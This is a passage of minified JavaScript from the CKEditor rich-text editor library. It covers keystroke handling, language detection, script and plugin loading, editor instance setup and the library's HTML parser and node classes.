{};this._={editor:a};return this};(function(){var a,f=function(b){b=b.data;var c=b.getKeystroke(),e=this.keystrokes[c],f=this._.editor;a=!1===f.fire("key",{keyCode:c,domEvent:b});a||(e&&(a=!1!==f.execCommand(e,{from:"keystrokeHandler"})),a||(a=!!this.blockedKeystrokes[c]));a&&b.preventDefault(!0);return!a},e=function(b){a&&(a=!1,b.data.preventDefault(!0))};CKEDITOR.keystrokeHandler.prototype={attach:function(a){a.on("keydown",f,this);if(CKEDITOR.env.gecko&&CKEDITOR.env.mac)a.on("keypress",e,this)}}})();
(function(){CKEDITOR.lang={languages:{af:1,ar:1,az:1,bg:1,bn:1,bs:1,ca:1,cs:1,cy:1,da:1,de:1,"de-ch":1,el:1,"en-au":1,"en-ca":1,"en-gb":1,en:1,eo:1,es:1,"es-mx":1,et:1,eu:1,fa:1,fi:1,fo:1,"fr-ca":1,fr:1,gl:1,gu:1,he:1,hi:1,hr:1,hu:1,id:1,is:1,it:1,ja:1,ka:1,km:1,ko:1,ku:1,lt:1,lv:1,mk:1,mn:1,ms:1,nb:1,nl:1,no:1,oc:1,pl:1,"pt-br":1,pt:1,ro:1,ru:1,si:1,sk:1,sl:1,sq:1,"sr-latn":1,sr:1,sv:1,th:1,tr:1,tt:1,ug:1,uk:1,vi:1,"zh-cn":1,zh:1},rtl:{ar:1,fa:1,he:1,ku:1,ug:1},load:function(a,f,e){a&&CKEDITOR.lang.languages[a]||
(a=this.detect(f,a));var b=this;f=function(){b[a].dir=b.rtl[a]?"rtl":"ltr";e(a,b[a])};this[a]?f():CKEDITOR.scriptLoader.load(CKEDITOR.getUrl("lang/"+a+".js"),f,this)},detect:function(a,f){var e=this.languages;f=f||navigator.userLanguage||navigator.language||a;var b=f.toLowerCase().match(/([a-z]+)(?:-([a-z]+))?/),c=b[1],b=b[2];e[c+"-"+b]?c=c+"-"+b:e[c]||(c=null);CKEDITOR.lang.detect=c?function(){return c}:function(a){return a};return c||a}}})();CKEDITOR.scriptLoader=function(){var a={},f={};return{load:function(e,
b,c,m){var h="string"==typeof e;h&&(e=[e]);c||(c=CKEDITOR);var l=e.length,d=[],k=[],g=function(a){b&&(h?b.call(c,a):b.call(c,d,k))};if(0===l)g(!0);else{var n=function(a,b){(b?d:k).push(a);0>=--l&&(m&&CKEDITOR.document.getDocumentElement().removeStyle("cursor"),g(b))},r=function(b,d){a[b]=1;var c=f[b];delete f[b];for(var g=0;g<c.length;g++)c[g](b,d)},w=function(d){if(a[d])n(d,!0);else{var c=f[d]||(f[d]=[]);c.push(n);if(!(1<c.length)){var g=new CKEDITOR.dom.element("script");g.setAttributes({type:"text/javascript",
src:d});b&&(CKEDITOR.env.ie&&(8>=CKEDITOR.env.version||CKEDITOR.env.ie9Compat)?g.$.onreadystatechange=function(){if("loaded"==g.$.readyState||"complete"==g.$.readyState)g.$.onreadystatechange=null,r(d,!0)}:(g.$.onload=function(){setTimeout(function(){g.$.onload=null;g.$.onerror=null;r(d,!0)},0)},g.$.onerror=function(){g.$.onload=null;g.$.onerror=null;r(d,!1)}));g.appendTo(CKEDITOR.document.getHead())}}};m&&CKEDITOR.document.getDocumentElement().setStyle("cursor","wait");for(var q=0;q<l;q++)w(e[q])}},
queue:function(){function a(){var c;(c=b[0])&&this.load(c.scriptUrl,c.callback,CKEDITOR,0)}var b=[];return function(c,f){var h=this;b.push({scriptUrl:c,callback:function(){f&&f.apply(this,arguments);b.shift();a.call(h)}});1==b.length&&a.call(this)}}()}}();CKEDITOR.resourceManager=function(a,f){this.basePath=a;this.fileName=f;this.registered={};this.loaded={};this.externals={};this._={waitingList:{}}};CKEDITOR.resourceManager.prototype={add:function(a,f){if(this.registered[a])throw Error('[CKEDITOR.resourceManager.add] The resource name "'+
a+'" is already registered.');var e=this.registered[a]=f||{};e.name=a;e.path=this.getPath(a);CKEDITOR.fire(a+CKEDITOR.tools.capitalize(this.fileName)+"Ready",e);return this.get(a)},get:function(a){return this.registered[a]||null},getPath:function(a){var f=this.externals[a];return CKEDITOR.getUrl(f&&f.dir||this.basePath+a+"/")},getFilePath:function(a){var f=this.externals[a];return CKEDITOR.getUrl(this.getPath(a)+(f?f.file:this.fileName+".js"))},addExternal:function(a,f,e){e||(f=f.replace(/[^\/]+$/,
function(a){e=a;return""}));e=e||this.fileName+".js";a=a.split(",");for(var b=0;b<a.length;b++)this.externals[a[b]]={dir:f,file:e}},load:function(a,f,e){CKEDITOR.tools.isArray(a)||(a=a?[a]:[]);for(var b=this.loaded,c=this.registered,m=[],h={},l={},d=0;d<a.length;d++){var k=a[d];if(k)if(b[k]||c[k])l[k]=this.get(k);else{var g=this.getFilePath(k);m.push(g);g in h||(h[g]=[]);h[g].push(k)}}CKEDITOR.scriptLoader.load(m,function(a,d){if(d.length)throw Error('[CKEDITOR.resourceManager.load] Resource name "'+
h[d[0]].join(",")+'" was not found at "'+d[0]+'".');for(var c=0;c<a.length;c++)for(var g=h[a[c]],k=0;k<g.length;k++){var m=g[k];l[m]=this.get(m);b[m]=1}f.call(e,l)},this)}};CKEDITOR.plugins=new CKEDITOR.resourceManager("plugins/","plugin");CKEDITOR.plugins.load=CKEDITOR.tools.override(CKEDITOR.plugins.load,function(a){var f={};return function(e,b,c){var m={},h=function(e){a.call(this,e,function(a){CKEDITOR.tools.extend(m,a);var e=[],g;for(g in a){var n=a[g],l=n&&n.requires;if(!f[g]){if(n.icons)for(var w=
n.icons.split(","),q=w.length;q--;)CKEDITOR.skin.addIcon(w[q],n.path+"icons/"+(CKEDITOR.env.hidpi&&n.hidpi?"hidpi/":"")+w[q]+".png");n.isSupportedEnvironment=n.isSupportedEnvironment||function(){return!0};f[g]=1}if(l)for(l.split&&(l=l.split(",")),n=0;n<l.length;n++)m[l[n]]||e.push(l[n])}if(e.length)h.call(this,e);else{for(g in m)n=m[g],n.onLoad&&!n.onLoad._called&&(!1===n.onLoad()&&delete m[g],n.onLoad._called=1);b&&b.call(c||window,m)}},this)};h.call(this,e)}});CKEDITOR.plugins.setLang=function(a,
f,e){var b=this.get(a);a=b.langEntries||(b.langEntries={});b=b.lang||(b.lang=[]);b.split&&(b=b.split(","));-1==CKEDITOR.tools.indexOf(b,f)&&b.push(f);a[f]=e};CKEDITOR.ui=function(a){if(a.ui)return a.ui;this.items={};this.instances={};this.editor=a;this._={handlers:{}};return this};CKEDITOR.ui.prototype={add:function(a,f,e){e.name=a.toLowerCase();var b=this.items[a]={type:f,command:e.command||null,args:Array.prototype.slice.call(arguments,2)};CKEDITOR.tools.extend(b,e)},get:function(a){return this.instances[a]},
create:function(a){var f=this.items[a],e=f&&this._.handlers[f.type],b=f&&f.command&&this.editor.getCommand(f.command),e=e&&e.create.apply(this,f.args);this.instances[a]=e;b&&b.uiItems.push(e);e&&!e.type&&(e.type=f.type);return e},addHandler:function(a,f){this._.handlers[a]=f},space:function(a){return CKEDITOR.document.getById(this.spaceId(a))},spaceId:function(a){return this.editor.id+"_"+a}};CKEDITOR.event.implementOn(CKEDITOR.ui);(function(){function a(a,d,c){CKEDITOR.event.call(this);a=a&&CKEDITOR.tools.clone(a);
if(void 0!==d){if(!(d instanceof CKEDITOR.dom.element))throw Error("Expect element of type CKEDITOR.dom.element.");if(!c)throw Error("One of the element modes must be specified.");if(CKEDITOR.env.ie&&CKEDITOR.env.quirks&&c==CKEDITOR.ELEMENT_MODE_INLINE)throw Error("Inline element mode is not supported on IE quirks.");if(!e(d,c))throw Error('The specified element mode is not supported on element: "'+d.getName()+'".');this.element=d;this.elementMode=c;this.name=this.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO&&
(d.getId()||d.getNameAtt())}else this.elementMode=CKEDITOR.ELEMENT_MODE_NONE;this._={};this.commands={};this.templates={};this.name=this.name||f();this.id=CKEDITOR.tools.getNextId();this.status="unloaded";this.config=CKEDITOR.tools.prototypedCopy(CKEDITOR.config);this.ui=new CKEDITOR.ui(this);this.focusManager=new CKEDITOR.focusManager(this);this.keystrokeHandler=new CKEDITOR.keystrokeHandler(this);this.on("readOnly",b);this.on("selectionChange",function(a){m(this,a.data.path)});this.on("activeFilterChange",
function(){m(this,this.elementPath(),!0)});this.on("mode",b);CKEDITOR.dom.selection.setupEditorOptimization(this);this.on("instanceReady",function(){if(this.config.startupFocus){if("end"===this.config.startupFocus){var a=this.createRange();a.selectNodeContents(this.editable());a.shrink(CKEDITOR.SHRINK_ELEMENT,!0);a.collapse();this.getSelection().selectRanges([a])}this.focus()}});CKEDITOR.fire("instanceCreated",null,this);CKEDITOR.add(this);CKEDITOR.tools.setTimeout(function(){this.isDestroyed()||
this.isDetached()||l(this,a)},0,this)}function f(){do var a="editor"+ ++q;while(CKEDITOR.instances[a]);return a}function e(a,b){return b==CKEDITOR.ELEMENT_MODE_INLINE?a.is(CKEDITOR.dtd.$editable)||a.is("textarea"):b==CKEDITOR.ELEMENT_MODE_REPLACE?!a.is(CKEDITOR.dtd.$nonBodyContent):1}function b(){var a=this.commands,b;for(b in a)c(this,a[b])}function c(a,b){b[b.startDisabled?"disable":a.readOnly&&!b.readOnly?"disable":b.modes[a.mode]?"enable":"disable"]()}function m(a,b,d){if(b){var c,g,e=a.commands;
for(g in e)c=e[g],(d||c.contextSensitive)&&c.refresh(a,b)}}function h(a){var b=a.config.customConfig;if(!b)return!1;var b=CKEDITOR.getUrl(b),d=p[b]||(p[b]={});d.fn?(d.fn.call(a,a.config),CKEDITOR.getUrl(a.config.customConfig)!=b&&h(a)||a.fireOnce("customConfigLoaded")):CKEDITOR.scriptLoader.queue(b,function(){d.fn=d.fn||CKEDITOR.editorConfig||function(){};h(a)});return!0}function l(a,b){a.on("customConfigLoaded",function(){if(b){if(b.on)for(var c in b.on)a.on(c,b.on[c]);CKEDITOR.tools.extend(a.config,
b,!0);delete a.config.on}c=a.config;a.readOnly=c.readOnly?!0:a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.element.is("textarea")?a.element.hasAttribute("disabled")||a.element.hasAttribute("readonly"):a.element.isReadOnly():a.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE?a.element.hasAttribute("disabled")||a.element.hasAttribute("readonly"):!1;a.blockless=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?!(a.element.is("textarea")||CKEDITOR.dtd[a.element.getName()].p):!1;a.tabIndex=c.tabIndex||a.element&&
a.element.getAttribute("tabindex")||0;a.activeEnterMode=a.enterMode=a.blockless?CKEDITOR.ENTER_BR:c.enterMode;a.activeShiftEnterMode=a.shiftEnterMode=a.blockless?CKEDITOR.ENTER_BR:c.shiftEnterMode;c.skin&&(CKEDITOR.skinName=c.skin);a.fireOnce("configLoaded");a.dataProcessor=new CKEDITOR.htmlDataProcessor(a);a.filter=a.activeFilter=new CKEDITOR.filter(a);d(a)});b&&null!=b.customConfig&&(a.config.customConfig=b.customConfig);h(a)||a.fireOnce("customConfigLoaded")}function d(a){CKEDITOR.skin.loadPart("editor",
function(){k(a)})}function k(a){CKEDITOR.lang.load(a.config.language,a.config.defaultLanguage,function(b,d){var c=a.config.title;a.langCode=b;a.lang=CKEDITOR.tools.prototypedCopy(d);a.title="string"==typeof c||!1===c?c:[a.lang.editor,a.name].join(", ");a.config.contentsLangDirection||(a.config.contentsLangDirection=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.element.getDirection(1):a.lang.dir);a.fire("langLoaded");g(a)})}function g(a){a.getStylesSet(function(b){a.once("loaded",function(){a.fire("stylesSet",
{styles:b})},null,null,1);n(a)})}function n(a){function b(a){if(!a)return"";CKEDITOR.tools.isArray(a)&&(a=a.join(","));return a.replace(/\s/g,"")}var d=a.config,c=b(d.plugins),g=b(d.extraPlugins),e=b(d.removePlugins);if(g)var k=new RegExp("(?:^|,)(?:"+g.replace(/,/g,"|")+")(?\x3d,|$)","g"),c=c.replace(k,""),c=c+(","+g);if(e)var f=new RegExp("(?:^|,)(?:"+e.replace(/,/g,"|")+")(?\x3d,|$)","g"),c=c.replace(f,"");CKEDITOR.env.air&&(c+=",adobeair");CKEDITOR.plugins.load(c.split(","),function(b){var c=
[],g=[],e=[];a.plugins=CKEDITOR.tools.extend({},a.plugins,b);for(var k in b){var h=b[k],m=h.lang,n=null,l=h.requires,y;CKEDITOR.tools.isArray(l)&&(l=l.join(","));if(l&&(y=l.match(f)))for(;l=y.pop();)CKEDITOR.error("editor-plugin-required",{plugin:l.replace(",",""),requiredBy:k});m&&!a.lang[k]&&(m.split&&(m=m.split(",")),0<=CKEDITOR.tools.indexOf(m,a.langCode)?n=a.langCode:(n=a.langCode.replace(/-.*/,""),n=n!=a.langCode&&0<=CKEDITOR.tools.indexOf(m,n)?n:0<=CKEDITOR.tools.indexOf(m,"en")?"en":m[0]),
h.langEntries&&h.langEntries[n]?(a.lang[k]=h.langEntries[n],n=null):e.push(CKEDITOR.getUrl(h.path+"lang/"+n+".js")));g.push(n);c.push(h)}CKEDITOR.scriptLoader.load(e,function(){if(!a.isDestroyed()&&!a.isDetached()){for(var b=["beforeInit","init","afterInit"],e=0;e<b.length;e++)for(var k=0;k<c.length;k++){var f=c[k];0===e&&g[k]&&f.lang&&f.langEntries&&(a.lang[f.name]=f.langEntries[g[k]]);if(f[b[e]])f[b[e]](a)}a.fireOnce("pluginsLoaded");d.keystrokes&&a.setKeystroke(a.config.keystrokes);for(k=0;k<a.config.blockedKeystrokes.length;k++)a.keystrokeHandler.blockedKeystrokes[a.config.blockedKeystrokes[k]]=
1;a.status="loaded";a.fireOnce("loaded");CKEDITOR.fire("instanceLoaded",null,a)}})})}function r(){var a=this.element;if(a&&this.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO){var b=this.getData();this.config.htmlEncodeOutput&&(b=CKEDITOR.tools.htmlEncode(b));a.is("textarea")?a.setValue(b):a.setHtml(b);return!0}return!1}function w(a,b){function d(a){var b=a.startContainer,c=a.endContainer;return b.is&&(b.is("tr")||b.is("td")&&b.equals(c)&&a.endOffset===b.getChildCount())?!0:!1}function c(a){var b=a.startContainer;
return b.is("tr")?a.cloneContents():b.clone(!0)}for(var g=new CKEDITOR.dom.documentFragment,e,k,f,h=0;h<a.length;h++){var m=a[h],n=m.startContainer.getAscendant("tr",!0);d(m)?(e||(e=n.getAscendant("table").clone(),e.append(n.getAscendant({thead:1,tbody:1,tfoot:1}).clone()),g.append(e),e=e.findOne("thead, tbody, tfoot")),k&&k.equals(n)||(k=n,f=n.clone(),e.append(f)),f.append(c(m))):g.append(m.cloneContents())}return e?g:b.getHtmlFromRange(a[0])}a.prototype=CKEDITOR.editor.prototype;CKEDITOR.editor=
a;var q=0,p={};CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{plugins:{detectConflict:function(a,b){for(var d=0;d<b.length;d++){var c=b[d];if(this[c])return CKEDITOR.warn("editor-plugin-conflict",{plugin:a,replacedWith:c}),!0}return!1}},addCommand:function(a,b){b.name=a.toLowerCase();var d=b instanceof CKEDITOR.command?b:new CKEDITOR.command(this,b);this.mode&&c(this,d);return this.commands[a]=d},_attachToForm:function(){function a(b){d.updateElement();d._.required&&!c.getValue()&&!1===d.fire("required")&&
b.data.preventDefault()}function b(a){return!!(a&&a.call&&a.apply)}var d=this,c=d.element,g=new CKEDITOR.dom.element(c.$.form);c.is("textarea")&&g&&(g.on("submit",a),b(g.$.submit)&&(g.$.submit=CKEDITOR.tools.override(g.$.submit,function(b){return function(){a();b.apply?b.apply(this):b()}})),d.on("destroy",function(){g.removeListener("submit",a)}))},destroy:function(a){var b=CKEDITOR.filter.instances,d=this;this.fire("beforeDestroy");!a&&r.call(this);this.editable(null);this.filter&&delete this.filter;
CKEDITOR.tools.array.forEach(CKEDITOR.tools.object.keys(b),function(a){a=b[a];d===a.editor&&a.destroy()});delete this.activeFilter;this.status="destroyed";this.fire("destroy");this.removeAllListeners();CKEDITOR.remove(this);CKEDITOR.fire("instanceDestroyed",null,this)},elementPath:function(a){if(!a){a=this.getSelection();if(!a)return null;a=a.getStartElement()}return a?new CKEDITOR.dom.elementPath(a,this.editable()):null},createRange:function(){var a=this.editable();return a?new CKEDITOR.dom.range(a):
null},execCommand:function(a,b){var d=this.getCommand(a),c={name:a,commandData:b||{},command:d};return d&&d.state!=CKEDITOR.TRISTATE_DISABLED&&!1!==this.fire("beforeCommandExec",c)&&(c.returnValue=d.exec(c.commandData),!d.async&&!1!==this.fire("afterCommandExec",c))?c.returnValue:!1},getCommand:function(a){return this.commands[a]},getData:function(a){!a&&this.fire("beforeGetData");var b=this._.data;"string"!=typeof b&&(b=(b=this.element)&&this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE?b.is("textarea")?
b.getValue():b.getHtml():"");b={dataValue:b};!a&&this.fire("getData",b);return b.dataValue},getSnapshot:function(){var a=this.fire("getSnapshot");"string"!=typeof a&&(a=(a=this.element)&&this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE?a.is("textarea")?a.getValue():a.getHtml():"");return a},loadSnapshot:function(a){this.fire("loadSnapshot",a)},setData:function(a,b,d){var c=!0,g=b;b&&"object"==typeof b&&(d=b.internal,g=b.callback,c=!b.noSnapshot);!d&&c&&this.fire("saveSnapshot");if(g||!d)this.once("dataReady",
function(a){!d&&c&&this.fire("saveSnapshot");g&&g.call(a.editor)});a={dataValue:a};!d&&this.fire("setData",a);this._.data=a.dataValue;!d&&this.fire("afterSetData",a)},setReadOnly:function(a){a=null==a||a;this.readOnly!=a&&(this.readOnly=a,this.keystrokeHandler.blockedKeystrokes[8]=+a,this.editable().setReadOnly(a),this.fire("readOnly"))},insertHtml:function(a,b,d){this.fire("insertHtml",{dataValue:a,mode:b,range:d})},insertText:function(a){this.fire("insertText",a)},insertElement:function(a){this.fire("insertElement",
a)},getSelectedHtml:function(a){var b=this.editable(),d=this.getSelection(),d=d&&d.getRanges();if(!b||!d||0===d.length)return null;b=w(d,b);return a?b.getHtml():b},extractSelectedHtml:function(a,b){var d=this.editable(),c=this.getSelection().getRanges(),g=new CKEDITOR.dom.documentFragment,e;if(!d||0===c.length)return null;for(e=0;e<c.length;e++)g.append(d.extractHtmlFromRange(c[e],b));b||this.getSelection().selectRanges([c[0]]);return a?g.getHtml():g},focus:function(){this.fire("beforeFocus")},checkDirty:function(){return"ready"==
this.status&&this._.previousValue!==this.getSnapshot()},resetDirty:function(){this._.previousValue=this.getSnapshot()},updateElement:function(){return r.call(this)},setKeystroke:function(){for(var a=this.keystrokeHandler.keystrokes,b=CKEDITOR.tools.isArray(arguments[0])?arguments[0]:[[].slice.call(arguments,0)],d,c,g=b.length;g--;)d=b[g],c=0,CKEDITOR.tools.isArray(d)&&(c=d[1],d=d[0]),c?a[d]=c:delete a[d]},getCommandKeystroke:function(a,b){var d="string"===typeof a?this.getCommand(a):a,c=[];if(d){var g=
CKEDITOR.tools.object.findKey(this.commands,d),e=this.keystrokeHandler.keystrokes;if(d.fakeKeystroke)c.push(d.fakeKeystroke);else for(var k in e)e[k]===g&&c.push(k)}return b?c:c[0]||null},addFeature:function(a){return this.filter.addFeature(a)},setActiveFilter:function(a){a||(a=this.filter);this.activeFilter!==a&&(this.activeFilter=a,this.fire("activeFilterChange"),a===this.filter?this.setActiveEnterMode(null,null):this.setActiveEnterMode(a.getAllowedEnterMode(this.enterMode),a.getAllowedEnterMode(this.shiftEnterMode,
!0)))},setActiveEnterMode:function(a,b){a=a?this.blockless?CKEDITOR.ENTER_BR:a:this.enterMode;b=b?this.blockless?CKEDITOR.ENTER_BR:b:this.shiftEnterMode;if(this.activeEnterMode!=a||this.activeShiftEnterMode!=b)this.activeEnterMode=a,this.activeShiftEnterMode=b,this.fire("activeEnterModeChange")},showNotification:function(a){alert(a)},isDetached:function(){return!!this.container&&this.container.isDetached()},isDestroyed:function(){return"destroyed"===this.status}});CKEDITOR.editor._getEditorElement=
function(a){if(!CKEDITOR.env.isCompatible)return null;var b=CKEDITOR.dom.element.get(a);return b?b.getEditor()?(CKEDITOR.error("editor-element-conflict",{editorName:b.getEditor().name}),null):b:(CKEDITOR.error("editor-incorrect-element",{element:a}),null)}})();CKEDITOR.ELEMENT_MODE_NONE=0;CKEDITOR.ELEMENT_MODE_REPLACE=1;CKEDITOR.ELEMENT_MODE_APPENDTO=2;CKEDITOR.ELEMENT_MODE_INLINE=3;CKEDITOR.htmlParser=function(){this._={htmlPartsRegex:/<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)--\x3e)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))/g}};
(function(){var a=/([\w\-:.]+)(?:(?:\s*=\s*(?:(?:"([^"]*)")|(?:'([^']*)')|([^\s>]+)))|(?=\s|$))/g,f={checked:1,compact:1,declare:1,defer:1,disabled:1,ismap:1,multiple:1,nohref:1,noresize:1,noshade:1,nowrap:1,readonly:1,selected:1};CKEDITOR.htmlParser.prototype={onTagOpen:function(){},onTagClose:function(){},onText:function(){},onCDATA:function(){},onComment:function(){},parse:function(e){for(var b,c,m=0,h;b=this._.htmlPartsRegex.exec(e);){c=b.index;if(c>m)if(m=e.substring(m,c),h)h.push(m);else this.onText(m);
m=this._.htmlPartsRegex.lastIndex;if(c=b[1])if(c=c.toLowerCase(),h&&CKEDITOR.dtd.$cdata[c]&&(this.onCDATA(h.join("")),h=null),!h){this.onTagClose(c);continue}if(h)h.push(b[0]);else if(c=b[3]){if(c=c.toLowerCase(),!/="/.test(c)){var l={},d,k=b[4];b=!!b[5];if(k)for(;d=a.exec(k);){var g=d[1].toLowerCase();d=d[2]||d[3]||d[4]||"";l[g]=!d&&f[g]?g:CKEDITOR.tools.htmlDecodeAttr(d)}this.onTagOpen(c,l,b);!h&&CKEDITOR.dtd.$cdata[c]&&(h=[])}}else if(c=b[2])this.onComment(c)}if(e.length>m)this.onText(e.substring(m,
e.length))}}})();CKEDITOR.htmlParser.basicWriter=CKEDITOR.tools.createClass({$:function(){this._={output:[]}},proto:{openTag:function(a){this._.output.push("\x3c",a)},openTagClose:function(a,f){f?this._.output.push(" /\x3e"):this._.output.push("\x3e")},attribute:function(a,f){"string"==typeof f&&(f=CKEDITOR.tools.htmlEncodeAttr(f));this._.output.push(" ",a,'\x3d"',f,'"')},closeTag:function(a){this._.output.push("\x3c/",a,"\x3e")},text:function(a){this._.output.push(a)},comment:function(a){this._.output.push("\x3c!--",
a,"--\x3e")},write:function(a){this._.output.push(a)},reset:function(){this._.output=[];this._.indent=!1},getHtml:function(a){var f=this._.output.join("");a&&this.reset();return f}}});"use strict";(function(){CKEDITOR.htmlParser.node=function(){};CKEDITOR.htmlParser.node.prototype={remove:function(){var a=this.parent.children,f=CKEDITOR.tools.indexOf(a,this),e=this.previous,b=this.next;e&&(e.next=b);b&&(b.previous=e);a.splice(f,1);this.parent=null},replaceWith:function(a){var f=this.parent.children,
e=CKEDITOR.tools.indexOf(f,this),b=a.previous=this.previous,c=a.next=this.next;b&&(b.next=a);c&&(c.previous=a);f[e]=a;a.parent=this.parent;this.parent=null},insertAfter:function(a){var f=a.parent.children,e=CKEDITOR.tools.indexOf(f,a),b=a.next;f.splice(e+1,0,this);this.next=a.next;this.previous=a;a.next=this;b&&(b.previous=this);this.parent=a.parent},insertBefore:function(a){var f=a.parent.children,e=CKEDITOR.tools.indexOf(f,a);f.splice(e,0,this);this.next=a;(this.previous=a.previous)&&(a.previous.next=
this);a.previous=this;this.parent=a.parent},getAscendant:function(a){var f="function"==typeof a?a:"string"==typeof a?function(b){return b.name==a}:function(b){return b.name in a},e=this.parent;for(;e&&e.type==CKEDITOR.NODE_ELEMENT;){if(f(e))return e;e=e.parent}return null},wrapWith:function(a){this.replaceWith(a);a.add(this);return a},getIndex:function(){return CKEDITOR.tools.indexOf(this.parent.children,this)},getFilterContext:function(a){return a||{}}}})();"use strict";CKEDITOR.htmlParser.comment=
function(a){this.value=a;this._={isBlockLike:!1}};CKEDITOR.htmlParser.comment.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_COMMENT,filter:function(a,f){var e=this.value;if(!(e=a.onComment(f,e,this)))return this.remove(),!1;if("string"!=typeof e)return this.replaceWith(e),!1;this.value=e;return!0},writeHtml:function(a,f){f&&this.filter(f);a.comment(this.value)}});"use strict";(function(){CKEDITOR.htmlParser.text=function(a){this.value=a;this._={isBlockLike:!1}};
CKEDITOR.htmlParser.text.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_TEXT,filter:function(a,f){if(!(this.value=a.onText(f,this.value,this)))return this.remove(),!1},writeHtml:function(a,f){f&&this.filter(f);a.text(this.value)}})})();"use strict";(function(){CKEDITOR.htmlParser.cdata=function(a){this.value=a};CKEDITOR.htmlParser.cdata.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_TEXT,filter:function(){},writeHtml:function(a){a.write(this.value)}})})();
"use strict";CKEDITOR.htmlParser.fragment=function(){this.children=[];this.parent=null;this._={isBlockLike:!0,hasInlineStarted:!1}};(function(){function a(a){return a.attributes["data-cke-survive"]?!1:"a"==a.name&&a.attributes.href||CKEDITOR.dtd.$removeEmpty[a.name]}var f=CKEDITOR.tools.extend({table:1,ul:1,ol:1,dl:1},CKEDITOR.dtd.table,CKEDITOR.dtd.ul,CKEDITOR.dtd.ol,CKEDITOR.dtd.dl),e={ol:1,ul:1},b=CKEDITOR.tools.extend({},{html:1},CKEDITOR.dtd.html,CKEDITOR.dtd.body,CKEDITOR.dtd.head,{style:1,
script:1}),c={ul:"li",ol:"li",dl:"dd",table:"tbody",tbody:"tr",thead:"tr",tfoot:"tr",tr:"td"};CKEDITOR.htmlParser.fragment.fromHtml=function(m,h,l){function d(a){var b;if(0<u.length)for(var d=0;d<u.length;d++){var c=u[d],g=c.name,e=CKEDITOR.dtd[g],f=t.name&&CKEDITOR.dtd[t.name];f&&!f[g]||a&&e&&!e[a]&&CKEDITOR.dtd[a]?g==t.name&&(n(t,t.parent,1),d--):(b||(k(),b=1),c=c.clone(),c.parent=t,t=c,u.splice(d,1),d--)}}function k(){for(;x.length;)n(x.shift(),t)}function g(a){if(a._.isBlockLike&&"pre"!=a.name&&
"textarea"!=a.name){var b=a.children.length,d=a.children[b-1],c;d&&d.type==CKEDITOR.NODE_TEXT&&((c=CKEDITOR.tools.rtrim(d.value))?d.value=c:a.children.length=b-1)}}function n(b,d,c){d=d||t||p;var e=t;void 0===b.previous&&(r(d,b)&&(t=d,q.onTagOpen(l,{}),b.returnPoint=d=t),g(b),a(b)&&!b.children.length||d.add(b),"pre"==b.name&&(v=!1),"textarea"==b.name&&(B=!1));b.returnPoint?(t=b.returnPoint,delete b.returnPoint):t=c?d:e}function r(a,b){if((a==p||"body"==a.name)&&l&&(!a.name||CKEDITOR.dtd[a.name][l])){var d,
c;return(d=b.attributes&&(c=b.attributes["data-cke-real-element-type"])?c:b.name)&&d in CKEDITOR.dtd.$inline&&!(d in CKEDITOR.dtd.head)&&!b.isOrphan||b.type==CKEDITOR.NODE_TEXT}}function w(a,b){return a in CKEDITOR.dtd.$listItem||a in CKEDITOR.dtd.$tableContent?a==b||"dt"==a&&"dd"==b||"dd"==a&&"dt"==b:!1}var q=new CKEDITOR.htmlParser,p=h instanceof CKEDITOR.htmlParser.element?h:"string"==typeof h?new CKEDITOR.htmlParser.element(h):new CKEDITOR.htmlParser.fragment,u=[],x=[],t=p,B="textarea"==p.name,
v="pre"==p.name;q.onTagOpen=function(c,g,h,m){g=new CKEDITOR.htmlParser.element(c,g);g.isUnknown&&h&&(g.isEmpty=!0);g.isOptionalClose=m;if(a(g))u.push(g);else{if("pre"==c)v=!0;else{if("br"==c&&v){t.add(new CKEDITOR.htmlParser.text("\n"));return}"textarea"==c&&(B=!0)}if("br"==c)x.push(g);else{for(;!(m=(h=t.name)?CKEDITOR.dtd[h]||(t._.isBlockLike?CKEDITOR.dtd.div:CKEDITOR.dtd.span):b,g.isUnknown||t.isUnknown||m[c]);)if(t.isOptionalClose)q.onTagClose(h);else if(c in e&&h in e)h=t.children,(h=h[h.length-
1])&&"li"==h.name||n(h=new CKEDITOR.htmlParser.element("li"),t),!g.returnPoint&&(g.returnPoint=t),t=h;else if(c in CKEDITOR.dtd.$listItem&&!w(c,h))q.onTagOpen("li"==c?"ul":"dl",{},0,1);else if(h in f&&!w(c,h))!g.returnPoint&&(g.returnPoint=t),t=t.parent;else if(h in CKEDITOR.dtd.$inline&&u.unshift(t),t.parent)n(t,t.parent,1);else{g.isOrphan=1;break}d(c);k();g.parent=t;g.isEmpty?n(g):t=g}}};q.onTagClose=function(a){for(var b=u.length-1;0<=b;b--)if(a==u[b].name){u.splice(b,1);return}for(var d=[],c=
[],g=t;g!=p&&g.name!=a;)g._.isBlockLike||c.unshift(g),d.push(g),g=g.returnPoint||g.parent;if(g!=p){for(b=0;b<d.length;b++){var e=d[b];n(e,e.parent)}t=g;g._.isBlockLike&&k();n(g,g.parent);g==t&&(t=t.parent);u=u.concat(c)}"body"==a&&(l=!1)};q.onText=function(a){if(!(t._.hasInlineStarted&&!x.length||v||B)&&(a=CKEDITOR.tools.ltrim(a),0===a.length))return;var g=t.name,e=g?CKEDITOR.dtd[g]||(t._.isBlockLike?CKEDITOR.dtd.div:CKEDITOR.dtd.span):b;if(!B&&!e["#"]&&g in f)q.onTagOpen(c[g]||""),q.onText(a);else{k();
